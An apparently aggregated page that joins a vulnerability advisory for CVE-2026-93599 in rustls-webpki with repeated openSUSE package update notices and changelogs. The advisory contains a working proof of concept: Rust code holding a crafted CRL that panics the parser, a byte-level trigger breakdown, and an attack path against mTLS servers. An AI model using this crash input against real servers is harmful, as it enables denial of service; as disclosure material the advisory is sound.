CVE-2026-93599

rustls-webpki through 0.103.12 (and 0.104.0-alpha releases before 0.104.0-alpha.7) contains a reachable panic in bit_string_flags() in src/der.rs. The input guard fails to reject a named-bit BIT STRING whose content is exactly [0x00] (zero padding bits and no data bytes), so raw_bits.len() - 1 underflows on the empty slice and the subsequent index operation panics (subtract-with-overflow in debug, index-out-of-bounds in release). The condition is reachable through the public API BorrowedCertRevocationList::from_der() when a CRL contains an issuingDistributionPoint extension with such an onlySomeReasons value. Exploitation requires an application that explicitly opts in to CRL revocation checking by passing RevocationOptions to verify_for_usage() and that parses CRL bytes obtained from a source the attacker can influence; the default rustls configuration, which does not use RevocationOptions, is unaffected. A crafted CRL causes a denial of service via the panic. Fixed in 0.103.13 and 0.104.0-alpha.7.

Summary

bit_string_flags() in src/der.rs panics with an index-out-of-bounds when given a BIT STRING whose content is exactly [0x00] (one byte: zero padding bits, zero data bytes). This is reachable through the public API BorrowedCertRevocationList::from_der() via the issuingDistributionPoint CRL extension.

Precondition: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass RevocationOptions to verify_for_usage() and load CRL bytes from a source the attacker can influence. The default rustls configuration (no RevocationOptions) is not affected.

AI disclosure: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission.

Details

bit_string_flags() in src/der.rs reads the content of named-bit BIT STRINGs (KeyUsage, ReasonFlags, etc.). Its input guard:

if padding_bits > 7 || (raw_bits.is_empty() && padding_bits != 0) {
    return Err(Error::BadDer);
}
let last_byte = raw_bits[raw_bits.len() - 1];  // ← crash

misses the case padding_bits == 0 && raw_bits.is_empty(). When a BIT STRING has content [0x00] (one padding-bits byte set to zero, no data bytes):

• padding_bits = 0x00 — passes the > 7 check ✓
• raw_bits = [] — passes is_empty() && != 0 check ✓ (because 0 != 0 is false)
• raw_bits.len() - 1 = 0usize - 1 = underflow → usize::MAX
• raw_bits[usize::MAX] → panic

Debug: thread 'main' panicked: attempt to subtract with overflow Release: thread 'main' panicked: index out of bounds: the len is 0 but the index is 18446744073709551615

PoC

Cargo.toml:

[dependencies]
rustls-webpki = "0.102.8"   # also reproduces on 0.103.12

src/main.rs:

fn main() {
    let crl: &[u8] = &[
        0x30, 0x65, 0x30, 0x50, 0x02, 0x01, 0x01, 0x30, 0x0d, 0x06, 0x09,
        0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,
        0x30, 0x0c, 0x31, 0x0a, 0x30, 0x08, 0x06, 0x03, 0x55, 0x04, 0x03,
        0x13, 0x01, 0x41, 0x17, 0x0d, 0x32, 0x30, 0x30, 0x31, 0x30, 0x31,
        0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x32, 0x31,
        0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a,
        0xa0, 0x10, 0x30, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x1c,
        0x04, 0x05, 0x30, 0x03, 0x83, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09,
        0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,
        0x03, 0x02, 0x00, 0x00,
    ];
    // Panics — never returns
    let _ = webpki::BorrowedCertRevocationList::from_der(crl);
}

output:

thread 'main' panicked at src/der.rs:...
index out of bounds: the len is 0 but the index is 18446744073709551615

Trigger

a0 10            -- cRLExtensions [0] EXPLICIT
  30 0e          -- SEQUENCE OF Extension
    30 0c        -- Extension SEQUENCE
      06 03 55 1d 1c   -- OID 2.5.29.28 (id-ce-issuingDistributionPoint)
      04 05            -- OCTET STRING (extnValue)
        30 03          -- IssuingDistributionPoint SEQUENCE
          83 01 00     -- [3] onlySomeReasons: BIT STRING, len=1, content=0x00
                       --   padding_bits=0, data=[]  ← TRIGGER

Impact

• Who is affected: Applications that (1) use rustls-webpki with CRL revocation checking explicitly enabled via RevocationOptions, and (2) load CRL bytes from a source an attacker can influence.
• Attack paths:
  • mTLS server (most realistic): An attacker obtains any certificate from a CA that permits custom CDP URLs — common in enterprise PKI. They set the CDP to a server they control, serve the 103-byte crafted CRL, and connect to the target. The server fetches the attacker's CRL during the handshake and panics. No MITM required.
  • TLS client with server-cert CRL checking: An attacker who can MITM an HTTP CRL…

Command-line frontends for Sequoia.

Security Fix(es):

• hickory-resolver: hickory-resolver: DNSSEC validation bypass allows forged DNS records (CVE-2026-93657)

• rustls-webpki: rustls-webpki: Denial of Service via crafted Certificate Revocation List (CVE-2026-93599)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

rustls-webpki through 0.103.12 (and 0.104.0-alpha releases before 0.104.0-alpha.7) contains a reachable panic in bit_string_flags() in src/der.rs. The input guard fails to reject a named-bit BIT STRING whose content is exactly [0x00] (zero padding bits and no data bytes), so raw_bits.len() - 1 underflows on the empty slice and the subsequent index operation panics (subtract-with-overflow in debug, index-out-of-bounds in release). The condition is reachable through the public API BorrowedCertRevocationList::from_der() when a CRL contains an issuingDistributionPoint extension with such an onlySomeReasons value. Exploitation requires an application that explicitly opts in to CRL revocation checking by passing RevocationOptions to verify_for_usage() and that parses CRL bytes obtained from a source the attacker can influence; the default rustls configuration, which does not use RevocationOptions, is unaffected. A crafted CRL causes a denial of service via the panic. Fixed in 0.103.13 and 0.104.0-alpha.7.

Command-line frontends for Sequoia.

Security Fix(es):

• hickory-resolver: hickory-resolver: DNSSEC validation bypass allows forged DNS records (CVE-2026-93657)
• rustls-webpki: rustls-webpki: Denial of Service via crafted Certificate Revocation List (CVE-2026-93599)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

rustls-webpki through 0.103.12 (and 0.104.0-alpha releases before 0.104.0-alpha.7) contains a reachable panic in bit_string_flags() in src/der.rs. The input guard fails to reject a named-bit BIT STRING whose content is exactly [0x00] (zero padding bits and no data bytes), so raw_bits.len() - 1 underflows on the empty slice and the subsequent index operation panics (subtract-with-overflow in debug, index-out-of-bounds in release). The condition is reachable through the public API BorrowedCertRevocationList::from_der() when a CRL contains an issuingDistributionPoint extension with such an onlySomeReasons value. Exploitation requires an application that explicitly opts in to CRL revocation checking by passing RevocationOptions to verify_for_usage() and that parses CRL bytes obtained from a source the attacker can influence; the default rustls configuration, which does not use RevocationOptions, is unaffected. A crafted CRL causes a denial of service via the panic. Fixed in 0.103.13 and 0.104.0-alpha.7.

rustls-webpki through 0.103.12 (and 0.104.0-alpha releases before 0.104.0-alpha.7) contains a reachable panic in bit_string_flags() in src/der.rs. The input guard fails to reject a named-bit BIT STRING whose content is exactly [0x00] (zero padding bits and no data bytes), so raw_bits.len() - 1 underflows on the empty slice and the subsequent index operation panics (subtract-with-overflow in debug, index-out-of-bounds in release). The condition is reachable through the public API BorrowedCertRevocationList::from_der() when a CRL contains an issuingDistributionPoint extension with such an onlySomeReasons value. Exploitation requires an application that explicitly opts in to CRL revocation checking by passing RevocationOptions to verify_for_usage() and that parses CRL bytes obtained from a source the attacker can influence; the default rustls configuration, which does not use RevocationOptions, is unaffected. A crafted CRL causes a denial of service via the panic. Fixed in 0.103.13 and 0.104.0-alpha.7.

rustls-webpki through 0.103.12 (and 0.104.0-alpha releases before 0.104.0-alpha.7) contains a reachable panic in bit_string_flags() in src/der.rs. The input guard fails to reject a named-bit BIT STRING whose content is exactly [0x00] (zero padding bits and no data bytes), so raw_bits.len() - 1 underflows on the empty slice and the subsequent index operation panics (subtract-with-overflow in debug, index-out-of-bounds in release). The condition is reachable through the public API BorrowedCertRevocationList::from_der() when a CRL contains an issuingDistributionPoint extension with such an onlySomeReasons value. Exploitation requires an application that explicitly opts in to CRL revocation checking by passing RevocationOptions to verify_for_usage() and that parses CRL bytes obtained from a source the attacker can influence; the default rustls configuration, which does not use RevocationOptions, is unaffected. A crafted CRL causes a denial of service via the panic. Fixed in 0.103.13 and 0.104.0-alpha.7.

rustls-webpki through 0.103.12 (and 0.104.0-alpha releases before 0.104.0-alpha.7) contains a reachable panic in bit_string_flags() in src/der.rs. The input guard fails to reject a named-bit BIT STRING whose content is exactly [0x00] (zero padding bits and no data bytes), so raw_bits.len() - 1 underflows on the empty slice and the subsequent index operation panics (subtract-with-overflow in debug, index-out-of-bounds in release). The condition is reachable through the public API BorrowedCertRevocationList::from_der() when a CRL contains an issuingDistributionPoint extension with such an onlySomeReasons value. Exploitation requires an application that explicitly opts in to CRL revocation checking by passing RevocationOptions to verify_for_usage() and that parses CRL bytes obtained from a source the attacker can influence; the default rustls configuration, which does not use RevocationOptions, is unaffected. A crafted CRL causes a denial of service via the panic. Fixed in 0.103.13 and 0.104.0-alpha.7.

This update for sequoia-sq fixes the following issues:

Changes in sequoia-sq:

• Use crypto-openssl also for tests

Update to version 1.5.0:

• tool: Release v1.5.0.
• tool: Fix link to README.
• tool: Set a version for the sqz dependency.
• Enable optimizations when building rust-crypto crates.
• Update NEWS.
• lib: Release v0.1.0.
• Update Cargo.lock.
• meta: Update link to documentation.
• lib: Update README.
• lib: Rename the high-level library to sqz.
• lib: Fix documentation.
• lib: Mention network_search in the lookup functions documentation.
• lib: Mention lookup and lookup_by in the certify documentation.
• lib: Mention lookup_by sign documentation.
• lib: Document that calls don't need to specify secret key material.
• lib: Fix docs.rs URL
• meta: Add rustfmt.toml that disables formatting
• lib: fix type infer error
• lib: Pass Paths through as is.
• lib: Preprocess the network when listing all bindings.
• lib: Upgrade sequoia-wot.
• lib: After running cert list, save the signature verification cache.
• lib: Parallelize cert list.
• lib: Pass the policy when getting the trust root or a shadow CA.
• implement dumping of pqc artifacts
• lib: Use an iterator instead of a slice.
• lib: Avoid monomorphization in signer.
• lib: Fix documentation.
• tool: Fix documentation.
• lib: Drop unnecessary imports in example.
• lib: Add required clap features.
• lib: Gate network support behind a feature.
• Don't conflate inline and cleartext signatures.
• lib: Document the signer module.
• lib: Add unit tests to the signer module.
• lib: Fix get_primary_keys's return type.
• lib: Convert get_signing_key, etc. to use the builder pattern.
• lib: Move decrypt_key to its own module.
• lib: Rename keys module to signer.
• lib: Refactor get_keys and associated functions.
• lib: Improve prompt's documentation.
• lib: Add a default prompt to Sequoia, don't require a prompt.
• lib: Loosen Sized constraint.
• lib: Make Prompt and PromptFactory Send and Sync.
• lib: Change SequoiaBuilder::builder to consume self.
• lib: Use explicit lifetimes with Context and Check.
• Use more precise lifetimes when referencing Sequoia and Sq.
• Replace generic lifetime names with more precise identifiers.
• tool: Fix password prompt.
• lib: Add PromptFactory.
• tool: Drop Sq::local_trust_root.
• lib: Change Ca to wrap a Cert instead of an Arc<LazyCert>.
• lib: Add functionality for looking up certificates by email address.
• lib: Add cert::CertProblem::ParseError.
• tool: Don't wrap Sequoia::lookup.
• lib: Improve lookup's documentation.
• lib: Rename lookup to lookup_all.
• lib: Don't write lints to stderr.
• lib: Change lookup to use its own error type.
• lib: Fix how Binding::cert looks up a certificate.
• lib: Add an option to lookup certificates by subkey.
• lib: Rename lookup's keyflags parameter to key_capabilities.
• lib: Drop lookup's unused or_by_primary parameter.
• lib: Fix key flags matching bug in Sequoia::lookup.
• tool: Improve displaying possibly revoked certificates.
• lib: Change lookup to take a single key handle.
• lib: Improve key generate's documentation.
• lib: Add unit tests for key generate.
• lib: Avoid monomorphization in key generate.
• lib: Rename Artifact to Outcome.
• lib: Use impl IntoIterator in setters.
• lib: Drop duplicated code.
• lib: Implement Clone for a few data structures.
• lib: Mark UserIDLint as non-exhaustive.
• lib: Implement Clone for UserIDLint.
• lib: Implement IntoIterator for network::search::Query.
• lib: Change network search to return an Outcome on success.
• lib: Change function to take an IntoIterator instead of a Vec.
• lib: Avoid monomorphization in the network search functionality.
• lib: Implement Clone for a few data structures.
• lib: Make Response and SourceInfo clonable.
• lib: Change cert list to always emit a Report.
• lib:…

These are all security issues fixed in the obs-service-cargo-7.2.2-3.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the python313-tokenizers-0.23.2-1.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the shadowsocks-rust-1.25.0-2.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the aws-nitro-enclaves-binaryblobs-upstream-1.5.2~git0.1c496ed-1.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the rustup-1.29.2~0-1.1 package on the GA media of openSUSE Tumbleweed.

This update for sccache fixes the following issues:

• CVE-2024-12224: idna: idna accepts Punycode labels that do not produce any non-ASCII when decoded (bsc#1243868).
• CVE-2026-25541: bytes: integer overflow in 'BytesMut:reserve' can lead to undefined behavior and crashes (bsc#1274146).
• CVE-2026-25727: time: parsing of user-provided input by the RFC 2822 date parser can lead to stack exhaustion (bsc#1257923).
• CVE-2026-41676: openssl: Deriver:derive and PkeyCtxRef:derive can overflow short buffers on OpenSSL 1.1.1 (bsc#1270206).
• CVE-2026-41677: openssl: out-of-bounds read in PEM password callback when returning an oversized length in rust- openssl crate (bsc#1270559).
• CVE-2026-41678: openssl: incorrect bounds assertion in aes key wrap in rust-openssl crate (bsc#1270693).
• CVE-2026-41681: openssl: MdCtxRef::digest_final() writes past caller buffer with no length check in rust-openssl crate (bsc#1270736).
• CVE-2026-41898: openssl: unchecked callback-returned length in PSK and cookie generate trampolines can leak adjacent memory in rust-openssl crate (bsc#1270869).
• CVE-2026-42327: openssl: arbitrary code execution via specially crafted certificate in rust-openssl crate (bsc#1270512).
• CVE-2026-44662: openssl: heap buffer overflow when encrypting with AES key-wrap-with-padding in rust-openssl crate (bsc#1270938).
• CVE-2026-45784: openssl: out-of-bounds write in CipherCtxRef::cipher_update_inplace for AES-KW-PAD ciphers in rust- openssl crate (bsc#1270948).
• CVE-2026-66746: rouille: HTTP Response Splitting via Unvalidated Response Header Values (bsc#1273881).
• CVE-2026-66754: rouille: remove_prefix function that allows remote unauthenticated attackers to crash the server by sending a crafted percent-encoded URL (bsc#1273884).
• CVE-2026-67181: rouille: HTTP Request Smuggling via Transfer-Encoding Desynchronization (bsc#1273886).
• CVE-2026-67182: rouille: HTTP Request Smuggling Enables Front-End Access Control Bypass (bsc#1273888).
• CVE-2026-93599: rustls-webpki: panic via empty BIT STRING (bsc#1282211).
• CVE-2026-93600: rustls-webpki: name constraints URI validation bypass (bsc#1282211).
• CVE-2026-93601: rustls-webpki: name constraint bypass (bsc#1282211).
• CVE-2026-93602: rustls-webpki: CRL revocation check bypass (bsc#1282211).

Changes for sccache:

Update to version 0.18.0~2:

• Add experimental concurrent cache support
• chore: Remove dependency status badge (#2856)
• Don't hand the jobserver to children that can't use it
• dist: refuse to trim rlibs from crates that also emit a cdylib
• fix(cache): avoid duplicate multilevel reads
• Strip basedirs from the compiler arguments too
• tests/integration: replace MinIO with Silo
• ci: dump sccache logs on integration failures
• multilevel: a chain with any writable level is writable
• Fix parsing of #line directives
• Release 0.18.0
• daemonize: use an allow-list approach to inherited FDs
• gcc, clang: make the assembler part of the cache key
• support cl.exe /openmp:llvm
• support all current /fsanitize*, /fsanitize-coverage*, and /fno-sanitize* args
• support MSVC /feature argument
• msvc: support lots of flags (#2832)
• Update shlex dependency to version 2 (#2836)
• gcc: mark flags as TooHard if need to cache something else (#2833)
• clang: support more CLI options (#2834)
• msvc: support arm64EC and fastfail flags (#2830)
• chore: fix typo in comment (#2829)
• nvcc: accept the --diag-error/--diag-suppress/--diag-warn family (#2816)
• cache: allow skipping capability checks (#2822)
• Bump opendal to 0.58.1 and fix fallout (fixes local GCS cache usage) (#2715)
• nvcc (Windows): protect escaped quotes in dryrun lines before flattening backslashes (#2811)
• Add an agent (#2812)
• Add support for d20bforceinline. (#2807)
• feat: add Microsoft Entra ID (passwordless) auth for the Azure Blob backend (#2802)
• Bump MSRV to 1.91.0 (#2793)
• Fix nvcc dryrun parsing for CUDA 13.3 (#2722)
• test: Fixed…

This update for rustup fixes the following issues:

• CVE-2024-12224: idna: idna accepts Punycode labels that do not produce any non-ASCII when decoded (bsc#1243862).
• CVE-2025-58160: tracing-subscriber: Tracing log pollution (bsc#1249008).
• CVE-2026-25541: bytes: integer overflow in 'BytesMut:reserve' can lead to undefined behavior and crashes (bsc#1274144).
• CVE-2026-25727: time: parsing of user-provided input by the RFC 2822 date parser can lead to stack exhaustion (bsc#1257902).
• CVE-2026-41676: openssl: Deriver:derive and PkeyCtxRef:derive can overflow short buffers on OpenSSL 1.1.1 (bsc#1270186).
• CVE-2026-41677: openssl: out-of-bounds read in PEM password callback when returning an oversized length in rust- openssl crate (bsc#1270619).
• CVE-2026-41678: openssl: incorrect bounds assertion in aes key wrap in rust-openssl crate (bsc#1270644).
• CVE-2026-41681: openssl: MdCtxRef::digest_final() writes past caller buffer with no length check in rust-openssl crate (bsc#1270795).
• CVE-2026-41898: openssl: unchecked callback-returned length in PSK and cookie generate trampolines can leak adjacent memory in rust-openssl crate (bsc#1270870).
• CVE-2026-42327: openssl: arbitrary code execution via specially crafted certificate in rust-openssl crate (bsc#1270521).
• CVE-2026-44662: openssl: heap buffer overflow when encrypting with AES key-wrap-with-padding in rust-openssl crate (bsc#1270874).
• CVE-2026-45784: openssl: out-of-bounds write in CipherCtxRef::cipher_update_inplace for AES-KW-PAD ciphers in rust- openssl crate (bsc#1270989).
• CVE-2026-93599: rustls-webpki: panic via empty BIT STRING (bsc#1282217).
• CVE-2026-93600: rustls-webpki: name constraints URI validation bypass (bsc#1282217).
• CVE-2026-93601: rustls-webpki: name constraint bypass (bsc#1282217).
• CVE-2026-93602: rustls-webpki: CRL revocation check bypass (bsc#1282217).
• rust-shlex: Multiple issues involving quote API (RUSTSEC-2024-0006, GHSA-r7qv-8r2h-pg27) (bsc#1230032).

Changes for rustup:

• Update to version 1.29.1~0:

• dist(rustup-init/sh): update commit shasum in help string
• style(bin/rustup-init): reformat code
• docs(changelog): update for v1.29.1 stable release
• warn how to switch away from the deprecated complete profile
• fix(cli/help): fix wording in rustup run --help
• ci(docker/android): stop building OpenSSL
• refactor(cli/docs): use tracing for docs opening status messages
• refactor(self-update): rename Windows uninstall registry helpers
• feat(test): isolate Windows registry state per test
• docs(dev-guide): mention how to support new compilation targets
• Fix funding link
• chore(deps): lock file maintenance
• refactor(cli/self-update): move current_install_opts() to InstallOpts::display()
• refactor(cli/self-update): move process out of InstallOpts
• fix(cli/self-update): postpone initialization of Cfg in setup_mode
• refactor(cli/self-update): take Process in check_existence_of_settings_file()
• fix(settings): prevent creating new file with SettingsFile::read_settings()
• test(cli-inst-interactive): test file creation on cancelled installation
• refactor(toolchain/names): inline validate() aliases into FromStr
• refactor(toolchain/names): rename validate() to normalize_name()
• fix minor typos
• www: align copy icon
• refactor(toolchain/names)!: remove try_from_str!()
• refactor(toolchain/names)!: remove from_variant!()
• Add rustup doc --serve to serve docs over local HTTP
• Move doc() and man() into a new docs module
• chore(github): comment out instructions in PR template
• docs(dev-guide): reapply abandoned changes from #4970
• Add riscv64 unknown linux musl support
• fix(deps): update rust crate enum-map to v3
• refactor(cli/self-update)!: rename install() to InstallOpts::install()
• refactor(cli/self-update)!: rename maybe_install_rust() to InstallOpts::install_rust()
• refactor(cli/self-update)!: rename…

This update for aws-nitro-enclaves-cli fixes the following issues:

• CVE-2026-93599: rustls-webpki: panic in BorrowedCertRevocationList::from_der via empty BIT STRING in IssuingDistributionPoint (bsc#1282250).
• CVE-2026-93600: rustls-webpki: name constraints for URI names were incorrectly accepted (bsc#1282250).
• CVE-2026-93601: rustls-webpki: name constraints were accepted for certificates asserting a wildcard name (bsc#1282250).
• CVE-2026-93602: rustls-webpki: CRLs not considered authoritative by Distribution Point due to faulty matching logic (bsc#1282250).
• GHSA-7gcf-g7xr-8hxj: serde_with: KeyValueMap serialization panics on empty sequence or map entries (bsc#1271853).

Changes for aws-nitro-enclaves-cli:

• Updated to version 1.5.2

This update for shadowsocks-rust, shadowsocks-libev fixes the following issues:

Changes in shadowsocks-rust:

• Fix SELinux denial (name_connect) when forwarding outbound TCP traffic (boo#1284975)

• Fix: Unable to bind ports below 1024 with SELinux enabled (boo#1284025)

• Update version to 1.25.0

  • Allow chaining ssserver to another SOCKS5/HTTP/HTTPS proxy

  • Expose user_key() on CryptoStream and ProxyServerStream, lets callers identify which multi-user identity was authenticated after an AEAD-2022 handshake

  • EIH (Extended Identity Header) support

  • local-http: Support HTTP Basic auth

  • service: Outbound UDP relay through SOCKS5-only chains. UDP traffic can now be relayed through proxy chains when all hops are SOCKS5. Chains containing HTTP/HTTPS hops will emit a startup warning and UDP traffic will bypass the chain.

  • socket2::Socket with socket2::SockRef

  • Fix bugs

    • CVE-2026-25541 and boo#1274441
    • CVE-2026-93599, CVE-2026-93602, CVE-2026-93601, CVE-2026-93600 and boo#1282208
    • CVE-2026-25541 and boo#1274441

  • Fix some issues (CVE-2025-3416, boo#1242615)

• Update vendor, fix boo#1215658 and CVE-2023-42811

Changes in shadowsocks-libev:

• Fix SELinux denial (name_connect) when forwarding outbound TCP traffic (boo#1284975)

• Fix build for Leap 16.1+: switch BuildRequires from mbedtls-devel to mbedtls-3-devel Tumbleweed, don't do this work on Leap 16

A panic was reachable when parsing certificate revocation lists via [BorrowedCertRevocationList::from_der] or [OwnedCertRevocationList::from_der]. This was the result of mishandling a syntactically valid empty BIT STRING appearing in the onlySomeReasons element of a IssuingDistributionPoint CRL extension.

This panic is reachable prior to a CRL's signature being verified.

Applications that do not use CRLs are not affected.

Thank you to @tynus3 for the report.

This update for sccache fixes the following issues:

• CVE-2024-12224: idna: idna accepts Punycode labels that do not produce any non-ASCII when decoded (bsc#1243868).
• CVE-2026-25541: bytes: integer overflow in 'BytesMut:reserve' can lead to undefined behavior and crashes (bsc#1274146).
• CVE-2026-25727: time: parsing of user-provided input by the RFC 2822 date parser can lead to stack exhaustion (bsc#1257923).
• CVE-2026-41676: openssl: Deriver:derive and PkeyCtxRef:derive can overflow short buffers on OpenSSL 1.1.1 (bsc#1270206).
• CVE-2026-41677: openssl: out-of-bounds read in PEM password callback when returning an oversized length in rust- openssl crate (bsc#1270559).
• CVE-2026-41678: openssl: incorrect bounds assertion in aes key wrap in rust-openssl crate (bsc#1270693).
• CVE-2026-41681: openssl: MdCtxRef::digest_final() writes past caller buffer with no length check in rust-openssl crate (bsc#1270736).
• CVE-2026-41898: openssl: unchecked callback-returned length in PSK and cookie generate trampolines can leak adjacent memory in rust-openssl crate (bsc#1270869).
• CVE-2026-42327: openssl: arbitrary code execution via specially crafted certificate in rust-openssl crate (bsc#1270512).
• CVE-2026-44662: openssl: heap buffer overflow when encrypting with AES key-wrap-with-padding in rust-openssl crate (bsc#1270938).
• CVE-2026-45784: openssl: out-of-bounds write in CipherCtxRef::cipher_update_inplace for AES-KW-PAD ciphers in rust- openssl crate (bsc#1270948).
• CVE-2026-66746: rouille: HTTP Response Splitting via Unvalidated Response Header Values (bsc#1273881).
• CVE-2026-66754: rouille: remove_prefix function that allows remote unauthenticated attackers to crash the server by sending a crafted percent-encoded URL (bsc#1273884).
• CVE-2026-67181: rouille: HTTP Request Smuggling via Transfer-Encoding Desynchronization (bsc#1273886).
• CVE-2026-67182: rouille: HTTP Request Smuggling Enables Front-End Access Control Bypass (bsc#1273888).
• CVE-2026-93599: rustls-webpki: panic via empty BIT STRING (bsc#1282211).
• CVE-2026-93600: rustls-webpki: name constraints URI validation bypass (bsc#1282211).
• CVE-2026-93601: rustls-webpki: name constraint bypass (bsc#1282211).
• CVE-2026-93602: rustls-webpki: CRL revocation check bypass (bsc#1282211).

Changes for sccache:

Update to version 0.18.0~2:

• Add experimental concurrent cache support
• chore: Remove dependency status badge (#2856)
• Don't hand the jobserver to children that can't use it
• dist: refuse to trim rlibs from crates that also emit a cdylib
• fix(cache): avoid duplicate multilevel reads
• Strip basedirs from the compiler arguments too
• tests/integration: replace MinIO with Silo
• ci: dump sccache logs on integration failures
• multilevel: a chain with any writable level is writable
• Fix parsing of #line directives
• Release 0.18.0
• daemonize: use an allow-list approach to inherited FDs
• gcc, clang: make the assembler part of the cache key
• support cl.exe /openmp:llvm
• support all current /fsanitize*, /fsanitize-coverage*, and /fno-sanitize* args
• support MSVC /feature argument
• msvc: support lots of flags (#2832)
• Update shlex dependency to version 2 (#2836)
• gcc: mark flags as TooHard if need to cache something else (#2833)
• clang: support more CLI options (#2834)
• msvc: support arm64EC and fastfail flags (#2830)
• chore: fix typo in comment (#2829)
• nvcc: accept the --diag-error/--diag-suppress/--diag-warn family (#2816)
• cache: allow skipping capability checks (#2822)
• Bump opendal to 0.58.1 and fix fallout (fixes local GCS cache usage) (#2715)
• nvcc (Windows): protect escaped quotes in dryrun lines before flattening backslashes (#2811)
• Add an agent (#2812)
• Add support for d20bforceinline. (#2807)
• feat: add Microsoft Entra ID (passwordless) auth for the Azure Blob backend (#2802)
• Bump MSRV to 1.91.0 (#2793)
• Fix nvcc dryrun parsing for CUDA 13.3 (#2722)
• test: Fixed…

This update for rustup fixes the following issues:

• CVE-2024-12224: idna: idna accepts Punycode labels that do not produce any non-ASCII when decoded (bsc#1243862).
• CVE-2025-58160: tracing-subscriber: Tracing log pollution (bsc#1249008).
• CVE-2026-25541: bytes: integer overflow in 'BytesMut:reserve' can lead to undefined behavior and crashes (bsc#1274144).
• CVE-2026-25727: time: parsing of user-provided input by the RFC 2822 date parser can lead to stack exhaustion (bsc#1257902).
• CVE-2026-41676: openssl: Deriver:derive and PkeyCtxRef:derive can overflow short buffers on OpenSSL 1.1.1 (bsc#1270186).
• CVE-2026-41677: openssl: out-of-bounds read in PEM password callback when returning an oversized length in rust- openssl crate (bsc#1270619).
• CVE-2026-41678: openssl: incorrect bounds assertion in aes key wrap in rust-openssl crate (bsc#1270644).
• CVE-2026-41681: openssl: MdCtxRef::digest_final() writes past caller buffer with no length check in rust-openssl crate (bsc#1270795).
• CVE-2026-41898: openssl: unchecked callback-returned length in PSK and cookie generate trampolines can leak adjacent memory in rust-openssl crate (bsc#1270870).
• CVE-2026-42327: openssl: arbitrary code execution via specially crafted certificate in rust-openssl crate (bsc#1270521).
• CVE-2026-44662: openssl: heap buffer overflow when encrypting with AES key-wrap-with-padding in rust-openssl crate (bsc#1270874).
• CVE-2026-45784: openssl: out-of-bounds write in CipherCtxRef::cipher_update_inplace for AES-KW-PAD ciphers in rust- openssl crate (bsc#1270989).
• CVE-2026-93599: rustls-webpki: panic via empty BIT STRING (bsc#1282217).
• CVE-2026-93600: rustls-webpki: name constraints URI validation bypass (bsc#1282217).
• CVE-2026-93601: rustls-webpki: name constraint bypass (bsc#1282217).
• CVE-2026-93602: rustls-webpki: CRL revocation check bypass (bsc#1282217).
• rust-shlex: Multiple issues involving quote API (RUSTSEC-2024-0006, GHSA-r7qv-8r2h-pg27) (bsc#1230032).

Changes for rustup:

• Update to version 1.29.1~0:

• dist(rustup-init/sh): update commit shasum in help string
• style(bin/rustup-init): reformat code
• docs(changelog): update for v1.29.1 stable release
• warn how to switch away from the deprecated complete profile
• fix(cli/help): fix wording in rustup run --help
• ci(docker/android): stop building OpenSSL
• refactor(cli/docs): use tracing for docs opening status messages
• refactor(self-update): rename Windows uninstall registry helpers
• feat(test): isolate Windows registry state per test
• docs(dev-guide): mention how to support new compilation targets
• Fix funding link
• chore(deps): lock file maintenance
• refactor(cli/self-update): move current_install_opts() to InstallOpts::display()
• refactor(cli/self-update): move process out of InstallOpts
• fix(cli/self-update): postpone initialization of Cfg in setup_mode
• refactor(cli/self-update): take Process in check_existence_of_settings_file()
• fix(settings): prevent creating new file with SettingsFile::read_settings()
• test(cli-inst-interactive): test file creation on cancelled installation
• refactor(toolchain/names): inline validate() aliases into FromStr
• refactor(toolchain/names): rename validate() to normalize_name()
• fix minor typos
• www: align copy icon
• refactor(toolchain/names)!: remove try_from_str!()
• refactor(toolchain/names)!: remove from_variant!()
• Add rustup doc --serve to serve docs over local HTTP
• Move doc() and man() into a new docs module
• chore(github): comment out instructions in PR template
• docs(dev-guide): reapply abandoned changes from #4970
• Add riscv64 unknown linux musl support
• fix(deps): update rust crate enum-map to v3
• refactor(cli/self-update)!: rename install() to InstallOpts::install()
• refactor(cli/self-update)!: rename maybe_install_rust() to InstallOpts::install_rust()
• refactor(cli/self-update)!: rename…

This update for aws-nitro-enclaves-cli fixes the following issues:

• CVE-2026-93599: rustls-webpki: panic in BorrowedCertRevocationList::from_der via empty BIT STRING in IssuingDistributionPoint (bsc#1282250).
• CVE-2026-93600: rustls-webpki: name constraints for URI names were incorrectly accepted (bsc#1282250).
• CVE-2026-93601: rustls-webpki: name constraints were accepted for certificates asserting a wildcard name (bsc#1282250).
• CVE-2026-93602: rustls-webpki: CRLs not considered authoritative by Distribution Point due to faulty matching logic (bsc#1282250).
• GHSA-7gcf-g7xr-8hxj: serde_with: KeyValueMap serialization panics on empty sequence or map entries (bsc#1271853).

Changes for aws-nitro-enclaves-cli:

• Updated to version 1.5.2

This update for aws-nitro-enclaves-cli fixes the following issues:

• CVE-2026-93599: rustls-webpki: Denial of service via panic on malformed CRL BIT STRING (bsc#1282250).
• CVE-2026-93600: rustls-webpki: URI name constraint bypass in X.509 certificates (bsc#1282250).
• CVE-2026-93601: rustls-webpki: DNS name constraint bypass for wildcard certificates (bsc#1282250).
• CVE-2026-93602: rustls-webpki: CRL revocation check bypass via faulty distributionPoint matching (bsc#1282250).
• serde_with: KeyValueMap serialization panics on empty sequence or map entries (bsc#1271853).

Changes for aws-nitro-enclaves-cli:

• Updated to version 1.5.2.